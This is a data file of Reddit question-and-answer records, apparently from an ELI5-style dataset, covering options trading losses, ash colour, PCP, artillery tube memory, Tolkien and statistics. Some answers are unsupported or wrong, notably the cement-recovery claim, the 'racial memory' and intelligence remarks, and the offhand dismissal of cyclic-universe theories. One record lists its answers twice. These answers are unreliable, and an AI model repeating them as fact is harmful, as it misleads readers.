{"q_id": "9ywsif", "title": "how exactly did james cordier and _url_0_ lose all of their clients\u2019 money?", "selftext": "Please explain all finance lingo as if I were, well, five. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ywsif/eli5_how_exactly_did_james_cordier_and/", "answers": {"a_id": ["ea4ocj9", "ea4ompv", "ea4sqag"], "score": [4, 9, 19], "text": ["He sold things he probably wasn't gonna have to pay back unless the price went impossibly high. These \"calls\" would just expire after a certain time. Turns out, it went impossibly high. The things he sold (far otm calls) he was allowed to sell because if for some impossible reason he had to cover the sale, he would pay cash for it. It turned out to cost all his cash and more. ", "Sold naked calls.\n\nWhen I sell you a call, I sell the option to buy candy next month at fixed price today. So i sell a call contract for candy at $10. Next month candy is worth $50. Now you have the right to buy the candy from me at $10, so you pay me $10 and sell it for $50 and made a fuck tonne of money.\n\n\nUsually I would own the candy already, so i just give you the candy and get $10 from you. That is called a covered call.\n\n\nWhat this dumbass did was he sold the contract and didn't own the candy. So after 1 month when you want to buy the candy for $10, i have to go to the market to buy it for $50 and sell it to you for $10.\n\n\nIm fucked.", "\nLet's say all the kids in your neighbor hood say a pack of gum is $4. Your allowance is $5 and you don't want the price of gum to go higher so you want to protect your self against any price moves. Jimmy (optionsellers) comes up to you and says 'I'll make you a deal. You give me $.05 (the premium) and if the price of gum goes over $4.75 you can still buy gum from me for $4.75 no matter how high the price goes.\n\nIn this situation, Jimmy is selling a call option. However, Jimmy doesn't actually own any gum, which makes his call option 'naked.' Jimmy thinks the price will never go over $4.75 and just expects to pocket your $.05. Jimmy convinces his friends this is a smart way to make easy money, so they give him money to sell options for them too. Jimmy then sells a bunch of call options under the names of his friends.\n\nHowever the price of gum then goes to $6 and now Jimmy is forced to buy gum at $6 just so he can sell it to everyone who bought his call options at $4.75. He has to use the money his friends gave him to cover the losses, but they didn't give him enough, so he has to ask for more. Then he makes a video where he cries about barbecue sauce."]}, "title_urls": ["Optionsellers.com"], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a6ddl5", "title": "why do ashes turn white on black pants and black on white pants?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6ddl5/eli5_why_do_ashes_turn_white_on_black_pants_and/", "answers": {"a_id": ["ebtwmij", "ebtwomu", "ebtwwp3"], "score": [18, 3, 38], "text": ["Because ash isn't white or black, it is gray. That is lighter than black but darker than white, and without a reference apparently you can't tell the difference.", "I would think it's both colors every time but the color of the pants washes out one or the other. Leaving the other color pronounced ", "Ash contains both black carbon and white potassium compounds. On a black surface, you see the white potassium compounds, but a light surface will hide those and you'll only see the carbon soot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "13yo5q", "title": "How is this possible - \"REL designed a system that could cool air entering the engine from more than 1000C to minus 150C in less than a hundredth of a second - six times faster than the blink of an eye.\"", "selftext": "Just been reading this about a new Jet Engine - _URL_0_\n\nSounds like a great breakthrough, would love to know how they can cool anything that quickly?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13yo5q/how_is_this_possible_rel_designed_a_system_that/", "answers": {"a_id": ["c78bslx", "c78crqt"], "score": [5, 16], "text": ["Violent and sudden decompression can do this very easily.  I don't know if that's the technique in use though.", "The BBC has an article with some more details^[[1]](_URL_0_) .\n\nBasically it looks like they run helium, cooled by liquid nitrogen, through lots of small pipes in the air flow. This will give the cold helium a high surface area against the air, allowing the very rapid cooling down."]}, "title_urls": [], "selftext_urls": ["http://www.news.com.au/travel/news/skylon-spaceplane-closer-to-reality-with-successful-engine-test/story-e6frfq80-1226526217068"], "answers_urls": [[], ["http://www.bbc.co.uk/news/science-environment-20510112"]]}
{"q_id": "182h8i", "title": "how the snapped rope severed fingers? (q from this article on yahoo)", "selftext": "[Teens Lose Fingers In Game Of Tug-Of-War](_URL_0_)\n\nI can understand how getting fingers caught if the rope was wrapped around them, but what would the rope snapping have to do with it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/182h8i/eli5_how_the_snapped_rope_severed_fingers_q_from/", "answers": {"a_id": ["c8b0mc1"], "score": [2], "text": ["It only takes 1000 pounds of force for a rope to decapitate you.\n\nI assume it takes far less for your fingers to get severed. "]}, "title_urls": [], "selftext_urls": ["http://www.thepostgame.com/blog/dish/201302/teens-lose-fingers-game-tug-war"], "answers_urls": [[]]}
{"q_id": "29jmzu", "title": "What is the meaning and origin of the \"blue blood\" phrase used about nobles?", "selftext": "I've often wondered what this was about. I've had the idea that it's a form metaphor for how the blood never is shed from a noble, but instead keeps running in the veins, looking blue from the outside. Or maybe it's an actual misconception. What does the phrase come from? Was it used *by* nobles or *about* nobles? Why is \"blue blood\" a noble thing?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29jmzu/what_is_the_meaning_and_origin_of_the_blue_blood/", "answers": {"a_id": ["ciluvsf"], "score": [11], "text": ["Several cultures use the phrase, but it was originally Spanish. People who claimed to be \"pure\" Spaniards (that is, of Visigoth stock) as opposed to Muslims or Jews, were pale. Visigoth nobles, who didn't work outside as much, were paler still. \n\nPale = visible veins. Visible veins are blue. Blueblood. \n\nI *knew* this, but then I needed a source, so here's one:\nThe Politics of Aristocratic Empires, p. 206.\n\nAccording to the OED, the phrase is relatively modern (1811). \n\n\"The nobility of Valencia..are, by themselves, divided into three classes, blue blood, red blood, and yellow blood. Blue blood is confined to families who have been made grandees.\" -- The Annual Register\n\nAs for the *by* or *about*, I don't think you'll get a definite answer.\n\nNow I'm wondering who the \"yellow bloods\" were. I'm guessing the answer isn't nice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7ke29f", "title": "how does complex regional pain syndrome start?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ke29f/eli5_how_does_complex_regional_pain_syndrome_start/", "answers": {"a_id": ["drdmyhc"], "score": [2], "text": ["Simplified answer--the body sustains a typically non-catastrophic injury, such as a broken bone.  Typical, except, that for some reason, the body totally overreacts, sending itself into a tailspin of hyperactive nerves.  It's like they get switched on and there's no off, just escalation in pain and damage.  There's so much about the human body we don't know.  \n\nI'm sure someone else will have a better response, but that's the way I understand it on a basic level.  A very good friend of mine has an extreme case that began at age 16 when she tripped going up some stairs.  Her foot turned black and was extremely painful, and her whole life changed.  Turns out she also has systemic scleroderma, probably since the age of twelve or so but only recently diagnosed after a plethora of doctors, clinics, road trips, specialists, and so many awful tests.  And she has cancer.  I don't know if she'll live to see age forty.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4uwt05", "title": "What causes tube memory?", "selftext": "When I was an Artillery officer I never had an instructor be able to explain what causes it. It occurs even when the gun has not been fired in a day, so not heat related Here is the definition: From FM 6-40 chapter 3 _URL_0_ (a) Tube memory is a physical phenomenon of the cannon tube tending to react to the firing stress in the same manner for each round, even after changing charges. It seems to \"remember\" the muzzle velocity of the last charge fired. For example, if a fire mission with charge 6 M4A2 is followed by a fire mission with charge 4 M4A2, the muzzle velocity of the first round of charge 4 may be unpredictably higher. The inverse is also true.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4uwt05/what_causes_tube_memory/", "answers": {"a_id": ["d5tjqzq", "d5tlbs5", "d5u0hrh"], "score": [5, 4, 9], "text": ["Physical factors of the gun already accounted for are\n\n1 Velocity trends. Based on condition of gun, round and powder. such as what gun was cleaned with, how dirty the round etc\n2 Ammunition lot. manufacturing differences of the ammunition and propellant\n3 Tolerances in new weapons\n4 Tube wear. (each gun keeps a log of what was fired and propellant charge used)\n5 non uniform ramming\n6 rotating band defects on the round\n7 propellant and projectile temperature\n8 moisture content of the propellant\n9 position of propellant in chamber\n10 weight of the projectile\n11 coppering. residue from rotating band\n12 propellant residue\n13 tube conditioning the temperature of the gun tube(a cold gun has more dispersion)\n\nRange factors are \nMuzzle velocity.\nProjectile weight.\nRange wind.\nAir temperature.\nAir density.\nRotation of the earth\nDrift (rotation of the projectile)\n", "There's a property of some alloys called \"shape memory\". The extreme example is [Nitinol](_URL_0_). Normally steel does not have detectable memory, but perhaps the alloy used has a small amount of shape memory. \n\nsorry, not more scientific.", "Based on two years of weapons theory and nine years in the military, this sounds suspiciously like urban legend. \n\nAbsent a controlled study showing that this is a consistently repeatable effect, my guess is that confirmation bias is in action - it happens under some conditions, and that's what the gunners remember. \n\nI'm not saying it's not possible - just that I'd really want to see scientific proof. "]}, "title_urls": [], "selftext_urls": ["https://www.fas.org/man/dod-101/sys/land/docs/fm6-40-ch3.htm"], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Nickel_titanium"], []]}
{"q_id": "2u0fuw", "title": "Is it possible to recover cement from concrete or mortar?", "selftext": "From my limited understanding, it's a one way process, and that as soon as you add water and sand, concrete has to be poured or it is wasted. Is there a way to take that wasted concrete, grind it and filter out the sand to get back where you started? Do the chemical processes involved in drying prevent this?\n\nAm I missing something fundamental? \n\nJust something I was wondering about in the shower. Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2u0fuw/is_it_possible_to_recover_cement_from_concrete_or/", "answers": {"a_id": ["co58i60"], "score": [2], "text": ["Removing the sand element is feasible by heating to a liquid state but the chemical process releases a substantial amount of Co2 albeit over a much longer period of time than the visible setting process takes. The sooner you began attempting the process the closer to the 'original' form of cement you would obtain, however by heating and grinding you are again introducing more changes in composition, so it really isn't feasible to obtain the cement you started with."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4mrmvf", "title": "why is pcp (drug) so bad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mrmvf/eli5_why_is_pcp_drug_so_bad/", "answers": {"a_id": ["d3xsdti"], "score": [3], "text": ["Obligatory \"It's just misunderstood!\" post incoming.\n\nPCP is in the class of dissociative drugs. The most typical dissociatives that come to mind are PCP, Ketamine, Nitrous Oxide, as well as Dextromethorphan, that is, cough syrup. They all block signals to the conscious mind from other parts of the brain. But PCP stands out as having such a dramatic history.\n\nIn fact, real PCP is now extremely hard to find, as a result of low demand from the stigma. I've used Ketamine, Nitrous, Dextromethorphan, Methoxetamine, and even 3-methoxy-PCP, a close derivative, but never even seen real PCP. I've had no dangerous experiences with any of them. But PCP anecdotally stands out, and there are a few reasons this might be true.\n\nOne that has been suggested is that PCP is often contaminated with PCC, an intermediary chemical that is difficult to remove, and more troublesome than PCP itself.\n\nAnother is that PCP is commonly administered on a tobacco cigarette, which is difficult to dose accurately and contains stimulant nicotine, which doesn't make for a good combination.\n\nThe most typical explanation, though, is that PCP is probably just a horrible drug and nobody should ever do it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "89jjrb", "title": "I know many cultures have different calendars, but what about different clocks or subdivisions or days?", "selftext": "I've never heard of an alternative to the hours/minutes/seconds system we have now", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/89jjrb/i_know_many_cultures_have_different_calendars_but/", "answers": {"a_id": ["dwrgflj"], "score": [2], "text": ["Asking a question that's been asked before is fine.  Mentioning previous answers is intended as a quick starting point, not to discourage further discussion.  Follow-on questions, information, and debate is more than welcome.\n\nYou might find interesting \"How were our current units of time agreed upon?\" at _URL_0_ , answer by /u/kookingpot .\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3vxb5d/how_were_our_current_units_of_time_agreed_upon/"]]}
{"q_id": "7b5akl", "title": "how is water managed and supplied in trains ?", "selftext": "You can use well explained technical terms and please talk about normal trains that are used for daily commute not the rather hi-tech ones !", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7b5akl/eli5_how_is_water_managed_and_supplied_in_trains/", "answers": {"a_id": ["dpfbggo", "dpfbkb5", "dpfgvqp", "dpg8mfw"], "score": [181, 3, 35, 3], "text": ["Pretty much like in an RV.  There are tanks to hold clean water, typically refilled with a hose at the ends of the line.  These are usually mounted above the sinks and toilets, so gravity delivers the water.\n\nThe drains all connect to storage tanks under the cars, which are pumped out at the end of the line.", "Trains, like planes, have storage tanks for potable water. These are refilled either at major stops, or back at the yard at the end of the day. They also have waste storage tanks to captures the waste water, and that is pumped out, again at designated stops or back at the yard. There would be a pair of tanks like that at each car with a restroom in it.   \n  \nAs far as \"management\", the fixtures are often low-flow types to use as little water as possible. ", "I can chime in on this as I maintain trains for a living. Trains are filled on either end of the train set via a potable fill inlet. The water is then pressurized (for our train sets it's set at 4.5 bar) . \n\nTo fill you purge the water system of air via cutout cocks or valves . Fill the water until it is spitting out the bottom much like an rv and an overfill hole. Then you return the cutout cocks to position to bring the system back to a pressurized 4.5bar supplying the trainset with water ", "From a summer maintaining railcars: every individual car has a potable water tank for sinks and bars and blackwater tank for toilets. The Grey water (soapy water or rinse water) was fed in a drain system that emptied onto the track below. All of the cars were outfitted with valves on either end to hook up to a flexible food grade hose that would sit slack between the cars. We would have to bleach all fittings before hooking up hoses to the fill ports and when connecting two cars. There is another pump on each tank that allows for movement from one car to another in the event that one car (or more) ran out of water. Water would be pressurized throughout the railcar by activating a pump. All of these features were controlled on a switch board mounted on a door next to the entrance of the rail car that also controlled all light, generator usage, head end power Control (half of the diesel electric generator on the engine is used to power up to ten rail cars.) black water would be pumped out at the end of the day and all tanks would be filled with fresh water. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "46hh03", "title": "who is tom bombadil and why is considered so powerful but minor in lotr?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46hh03/eli5_who_is_tom_bombadil_and_why_is_considered_so/", "answers": {"a_id": ["d054vmz", "d0556xz", "d055skc", "d056a32", "d056lp3", "d05a702", "d05bu88", "d05lb8h", "d05lpsi", "d05lqv8", "d05mtft", "d05o8vu", "d05of7k"], "score": [21, 173, 28, 61, 28, 13, 18, 10, 2, 2, 10, 18, 2], "text": ["Yeah, he's not in the movies. He's an immensely powerful nature god/demigod (Tolkien's universe has a hierarchy of beings, but where he stands in it is never made clear). However, he doesn't really care much about anything outside the section of Middle Earth he has claimed as his own, which is why he isn't that important.", "He's often said to represent the natural world. Whether he is similar to the other spiritual beings that have been part of Middle Earth - such as the Maia - is unclear. However, like nature itself he has no interest in the affairs of men, hobbies, dwarves or elves and thus even though he could conceivably oppose Sauron effectively he is content to remain in the forest.\n\nI expect he was dropped from the films as he is hard to work into a cinematic plot given his single appearance and isolation from the rest of the events of the Lord of the Rings.", "I read that he was famous in the Tolkien family. He might of even been a doll. He has a home in every story, but he's just an interloping celebrity.", "Tolkien wanted further unanswered mysteries during a mythical age, and that was Tom. His name literally meant \"the oldest and fatherless\". The simplest answer would be to call him Father Time. He's basically God as a passive observer. This has been debated for some time... but the mystery was meant to have been maintained by Tolkien. Check out the Adventures of Tom Bombadil.... great stuff! 1st print with dust jacket is worth a mint!", "Not in the movies and very old and very powerful - he puts the One Ring on and it doesn't affect him whatsoever. Trimmed out I think because much of his scenes wouldn't work too well on the screen (some nude frolicking and a whole lot of singing) and other parts got repurposed.", "Bombadil represents the disappearing countryside; Goldberry represents the changing seasons. See Tolkien letters #19, #210. _URL_0_", "One thing that nobody else has mentioned is that he (apparently) is completely powerless outside of his own small territory, which is a very old, very wild forest. Whether he cannot leave, would become powerless if he left, or simply refuses to leave under any circumstance is never made clear.", "Old Tom Bombadil is a merry fellow! Bright blue his jacket is, and his boots are yellow! None have ever caught him yet, for Tom, he is the master: His songs are stronger songs, and his feet are faster.", "Corey Olsen, the \"Tolkien Professor\", talks about Tom and Glodberry in one of his earlier podcast. I'm about 50 or so in and there's a lot of good stuff on Tolkien and fairy stories in general. Worth a listen if you have the time", "In the book it is stated that he was the first person on earth before the rocks and trees and if Sauron got the ring back then Tom Bombadil would be the last to fall.", "Tolkien, as visionary as he was and as much work he put into the languages of his world wasn't exactly a structured writer, and didn't write with the almost mathematical precision as, for example, Poe did. The story unfolded pretty haphazardly as he wrote, and he didn't have a clear plan. He was a world builder, not a story maker. To make it worse, he had several versions of his notes, as he was writing in different places, so even when he went back to check something, he didn't always check with the version eventually used.\n\nSo, as much of Tolkiens work is fragmented and not really thought out in advance, I strongly suspect that he put the main characters in a pickle, and needed something to save them. So, he invents Tom Bombadil as a deus ex machina, without considering what implications it might have on the world.\n\nI also strongly suspect that Tolkien never found out those implications either, as the nitpicking of his world, trying to make it coherent, is a relatively recent phenomen.\n\nI'll probably get downvoted to the center of the earth by fanboys for this, but one has to consider that Tolkien wasn't perfect. I love his works, but they have serious flaws, and, while he led the way, others have since surpassed him.", "Many people misunderstand Tom Bombadil, especially with regards to his power. He was powerful, but not nearly as powerful as many make him out to be. He is stated to be the last one who would fall to Sauron if the Ring were not destroyed - but he would nevertheless fall to Sauron even with the latter *not* possessing the Ring. \n\nI suspect part of why this is is that people misinterpret the Ring not possessing power over Tom Bombadil for Tom Bombadil possessing power over the Ring. \n\nPart of that has to do with another frequently missed point - the Ring does not *instill* evil. It brings out, and makes more forceful, one's own temptations. Thus why a hobbit is likely to be more resilient than one of the big folk - it doesn't have to do with racial traits, but rather that the former is just more likely to have much less to be tempted by. When Sam acquires the Ring very near the heart of its power, the best it can muster is images of Sam becoming a grand gardener.\n\nTom Bombadil has no ambitions. He is stated by Tolkien to be a pacifist - he has no interest even in participating in the resistance against Sauron. The Ring is literally meaningless to him, and he would lose it as one would a minor trinket. There is *nothing* that the Ring can offer him; there are no temptations to make greater. Thus, the Ring has no power over Tom Bombadil.", "There's no real definitive answer to this question, so I'm not going to say everyone's answers are wrong, but personally I've always liked the idea that Bombadil is the reader: _URL_0_\n\nThere's quite a lot more to it, and I encourage you to read the entire essay, but this part in particular always struck me as very significant:\n\n > Like Tom, the reader is not affected by the Ring, terrible implement of evil though it is, and can make it disappear and reappear at will (simply by stopping reading and then restarting). The reader can also see Frodo whenever the hobbit puts the Ring on. However, the reader cannot change the story line, or \"alter the Ring itself, nor break its power over others,\" as Gandalf put it. The reader's knowledge, like Tom's, fails East of the Shire, because that part of the story hasn't been told yet.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.e-reading.club/bookreader.php/139008/the_letters_of_j.r.r.tolkien.pdf"], [], [], [], [], [], [], ["http://tolkien.cro.net/else/bbeier.html"]]}
{"q_id": "98gd9z", "title": "do skills become genetic after multiple generations of practice?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/98gd9z/eli5_do_skills_become_genetic_after_multiple/", "answers": {"a_id": ["e4fso83", "e4ft9ap", "e4ftoyx", "e4g38g5"], "score": [16, 5, 3, 2], "text": ["No, they do not. Practicing a skill affects the memories stored by your brain, but it does not adjust your DNA.", " >   Is this due to a genetic advantage of the father?\n\nIt might, but it is unlikely the blacksmithing the father did would have made it so. Instead perhaps a man with good genes for upper body strength became a good blacksmith due to this preexisting ability, which in turn he would pass down to his offspring. There may also be some epigenetic factors that such a trade may influence offspring toward greater expression of such genes. But most likely it is just that growing up the child of a blacksmith provides exposure from a very young age which results in the development of the skill.\n\nWhat you will find is that the very best people in certain things tend to not only be highly skilled but also genetically advantaged toward the activity. Great swimmers tend to have swimmers builds and their offspring are likely to share such builds. It is also more likely that the child of a great swimmer will be exposed to swimming from an early age, but it isn't like the parent can swim enough to make the child be born with the ability to swim.", "The jury is still out on how much of our personality and traits are caused by our genes, and how much by our environment and upbringing. The Nature VS Nurture argument will probably never be completely solved, and the argument has been going for centuries so we aren't likely to solve it here. \n\nOur traits from genes don't so much pre-dispose us to certain jobs or skills, as they do more generalized traits like good hand eye coordination, a body type able to put on and keep muscle, etc. In other words there isn't really a \"blacksmith gene\". \n\nEven something like intelligence is hard to conclusively prove as being genetic, or how someone is raised. There are some groups of people who score lower in average intelligence tests. However in cases of adoption, where children are raised in a different environment, they score similarly to other children in the new group. So the environment the child grows up in plays a role in their eventual intelligence as much as their genetic makeup. \n\nHowever you do have a kind of racial memory and other traits passed down genetically. The same way that cats don't need to be shown how to be a cat, crocodiles don't need to learn how to swim, they just know. \n\nHuman racial memory is a little more murky because being human beings, it's hard to look at ourselves objectively but there are some examples regardless. Most people are born being afraid of the dark, creepy crawlies like insects, and regardless of culture, certain smells like vomit, feces, are off putting. We have an innate distrust of strangers and people who are different than us. These are all genetic traits passed down to us by our ancestors trying to survive in a very competitive and very dangerous world. \n\nEarly men and women who didn't have these traits were more likely to eat bad food and die, or get attacked by night time predators, stung by scorpions, bit by snakes, and often they didn't reproduce. While the people who hid in the dark, ran from snakes, didn't eat the foul smelling meat, would survive to pro-create. \n\nWe all have these instincts, and we also have our minds and logic and reason. People are complicated because we almost have 2 minds about everything. There's what we feel, which is really just our racial memory trying to guide us, and there is what we think, which is logic and reason. Using the distrust of strangers as an example, the gut feeling of being distrustful will always be there, but a person can go out of their way to be welcoming to people regardless of their race, sex, sexual orientation, or economic status. Thus the mind over rides the gut instinct. Some people always follow their feelings, other people ignore their feelings and follow logic and reason, and other people do a little of both. ", "It\u2019s kinda the same argument that people make about alcoholism. An alcoholic father has two sons. The first becomes an alcoholic. When asked why he says because he watched his father. The second doesn\u2019t drink and gives the same reason. Kids pick up on things that they don\u2019t fully realize and utilize until later in life.  Source: the nonalcoholic son. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7keqwi", "title": "I am a medieval peasant in 11th century France. Do I identify myself as a French person? Does it even matter to me, which country I am in?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7keqwi/i_am_a_medieval_peasant_in_11th_century_france_do/", "answers": {"a_id": ["drdqygn"], "score": [5], "text": ["Identifying oneself with his/her nation did not truly become a phenomenon until the 19th century. After the French Revolution, French nationalism was enforced, and we see this through the birth of the tri-colour (France's national colors), the creation of the French national anthem, the concept of being a citizen, and Marianne proposed as the national symbol of France. During the 1800s, we start to see German and Italian unification and the beginning of citizens associating themselves with their country. Before the 19th century, countrymen would associate themselves with the specific region they were from, such as identifying themselves as a Parisian/Asturian/Florentine. This made the most sense because borders and territories would constantly change. Furthermore, people were much more likely to associate themselves by class, such as the First Estate (clergy), the Second Estate (nobility), and the Third Estate (everyone else, from peasants/lawyers/merchants/artisans. The bourgeoisie also fell in this category.) \n\nSources: Schroeder, The Transformation of European Politics 1763-1848 (1994) pp. 716-18, Agulhon, Maurice (1981). Marianne into Battle: Republican Imagery and Symbolism in France, 1789-1880, Spohn, Willfried (2005), \"From Habsburg Empire to a Small Nation in Europe\", Entangled identities: nations and Europe, Ashgate, p. 61, Lucy Riall. The Italian Risorgimento: State, society and national unification. London, England, UK; New York, New York, USA: Routledge, 1994. Pp. 69."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "km51c", "title": "What exactly does Bessel's correction do when calculating variance/standard deviation?", "selftext": "I was reading about calculating standard deviation and was confused by the division by n-1 in the formula. Wikipedia explained with [Bessel's Correction](_URL_0_), which I don't fully understand. \n\nI understand that it helps correct for the discrepancy between the population mean and the sample mean -- but what about when your sample mean is in fact equal to the population mean? Won't Bessel's correction result in an overestimation then? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/km51c/what_exactly_does_bessels_correction_do_when/", "answers": {"a_id": ["c2le297", "c2lenh8", "c2lepha", "c2lg2pc", "c2le297", "c2lenh8", "c2lepha", "c2lg2pc"], "score": [3, 7, 5, 3, 3, 7, 5, 3], "text": ["Yes, it would, because Bessel's correction is not *meant* to correct overestimation. It's not really possible to do that; while you can sometimes make estimates *more* accurate, perfect estimators just don't exist.\n\nWhat it does do is correct for bias. The 1/n variance formula is systematically biased; in nearly every case, it gives a lower estimate than you would make if you had the population mean available. This is bad, because it means that there's no reliable way to increase the accuracy of your variance estimate by taking more samples. Heck, just averaging them all is *less* accurate than picking the highest one and going with it!\n\nSo we use Bessel's correction to produce an unbiased estimator. This mean of sample variances is equal to the population variance, so taking a bunch of samples and averaging the result improves your estimate.", "I will take a leap here and talk about degrees of freedom, and why they are usually n-#\n\nThe way my professor explained it to me was that suppose you have 10 variables and they equal to 471, what are the 10 variables?, it could be anything really, 10 of these variables have the freedom to be any numbers.\n\nNow suppose that you calculated an average for them, only 9 of these variables have the freedom to be any number, given that you have an average, you know what the 10th will be.\n\nNow when you calculate the standard deviation, you need the average Xbar to find the (X1-Xbar). So your degrees of freedom drops by 1, so you use n-1.\n\nThe more Xbars you use the less degrees of freedom you have.\n\nSorry if this is unrelated.", "Bessel's correction just makes the estimatior [unbiased](_URL_1_). Technically this is a desirable property for an estimator to have, though in the \"real world\" of statistics it isn't always helpful.\n\nFor instance if you are working with a small sample size then even though technically biased the uncorrected version (and other similar functions) can prove better. \n\n[This](_URL_0_) link shows some empirical evidence for not using an unbiased estimator.", "The sample variance attempts to estimate the *true* variance by being something that, no matter what the true variance is, is \"close\" to it. I scare quoted \"close\" because we might disagree about how to measure closeness.\n\nIn particular, people usually measure closeness by mean squared error, which looks like\n\n(s - S)^2\n\nwhere s is the sample variance and S the *true* variance. We don't know the *true* variance, though, so we take the expectation to average out the randomness.\n\nIt turns out that if you do this, you can separate the expectation of the MSE into two parts. The first is known as *bias* which has to do with how far the expectation of the sample variance is differing from the *true* variance. The second is the spread, which has to do with how much the sample variance itself can vary for different potential data sets. The two of these combine to form the total error you'd experience.\n\nThe Bessel correction is designed to reduce the bias of the estimator of the *true* variance. If you apply it, you have the property that over repeated experiments, the average of your different sample variances is expected to be exactly equal to the true variance, while if you don't perform the correction it'll be a little bit lower.\n\nTake note however that the difference between the two is a function of n. The more data points you have, the less influential the Bessel correction will be.\n\nAlso take note that we don't actually care about reducing bias. It's just one component of the expected mean squared error and has no particular meaning in and of itself. There is a nice heuristic property that unbiased estimators seem nicer, but there's a lot of evidence that shows that unbiased estimators can do much worse on average because they are can be less stable. They were pursued at first mostly because they're mathematically simple.", "Yes, it would, because Bessel's correction is not *meant* to correct overestimation. It's not really possible to do that; while you can sometimes make estimates *more* accurate, perfect estimators just don't exist.\n\nWhat it does do is correct for bias. The 1/n variance formula is systematically biased; in nearly every case, it gives a lower estimate than you would make if you had the population mean available. This is bad, because it means that there's no reliable way to increase the accuracy of your variance estimate by taking more samples. Heck, just averaging them all is *less* accurate than picking the highest one and going with it!\n\nSo we use Bessel's correction to produce an unbiased estimator. This mean of sample variances is equal to the population variance, so taking a bunch of samples and averaging the result improves your estimate.", "I will take a leap here and talk about degrees of freedom, and why they are usually n-#\n\nThe way my professor explained it to me was that suppose you have 10 variables and they equal to 471, what are the 10 variables?, it could be anything really, 10 of these variables have the freedom to be any numbers.\n\nNow suppose that you calculated an average for them, only 9 of these variables have the freedom to be any number, given that you have an average, you know what the 10th will be.\n\nNow when you calculate the standard deviation, you need the average Xbar to find the (X1-Xbar). So your degrees of freedom drops by 1, so you use n-1.\n\nThe more Xbars you use the less degrees of freedom you have.\n\nSorry if this is unrelated.", "Bessel's correction just makes the estimatior [unbiased](_URL_1_). Technically this is a desirable property for an estimator to have, though in the \"real world\" of statistics it isn't always helpful.\n\nFor instance if you are working with a small sample size then even though technically biased the uncorrected version (and other similar functions) can prove better. \n\n[This](_URL_0_) link shows some empirical evidence for not using an unbiased estimator.", "The sample variance attempts to estimate the *true* variance by being something that, no matter what the true variance is, is \"close\" to it. I scare quoted \"close\" because we might disagree about how to measure closeness.\n\nIn particular, people usually measure closeness by mean squared error, which looks like\n\n(s - S)^2\n\nwhere s is the sample variance and S the *true* variance. We don't know the *true* variance, though, so we take the expectation to average out the randomness.\n\nIt turns out that if you do this, you can separate the expectation of the MSE into two parts. The first is known as *bias* which has to do with how far the expectation of the sample variance is differing from the *true* variance. The second is the spread, which has to do with how much the sample variance itself can vary for different potential data sets. The two of these combine to form the total error you'd experience.\n\nThe Bessel correction is designed to reduce the bias of the estimator of the *true* variance. If you apply it, you have the property that over repeated experiments, the average of your different sample variances is expected to be exactly equal to the true variance, while if you don't perform the correction it'll be a little bit lower.\n\nTake note however that the difference between the two is a function of n. The more data points you have, the less influential the Bessel correction will be.\n\nAlso take note that we don't actually care about reducing bias. It's just one component of the expected mean squared error and has no particular meaning in and of itself. There is a nice heuristic property that unbiased estimators seem nicer, but there's a lot of evidence that shows that unbiased estimators can do much worse on average because they are can be less stable. They were pursued at first mostly because they're mathematically simple."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Bessel's_correction"], "answers_urls": [[], [], ["http://www.johndcook.com/bias_consistency.html", "http://en.wikipedia.org/wiki/Bias_of_an_estimator"], [], [], [], ["http://www.johndcook.com/bias_consistency.html", "http://en.wikipedia.org/wiki/Bias_of_an_estimator"], []]}
{"q_id": "a0o6np", "title": "how do cyclic universe theories coexist with the second law of thermodynamics?", "selftext": "AFAIK that law says that the universe can only grow more disorderly with time, but some theories hold that the universe can regenerate (indeed, there are a class of recurrence theorems that imply that it must). ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0o6np/eli5_how_do_cyclic_universe_theories_coexist_with/", "answers": {"a_id": ["eaj7542"], "score": [2], "text": ["Dont put too much thinking into that theory/hypothesis now i cant remember if it has been debunked already but basically it's wrong and there are papers from others physicists going into depth proving how wrong it is"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
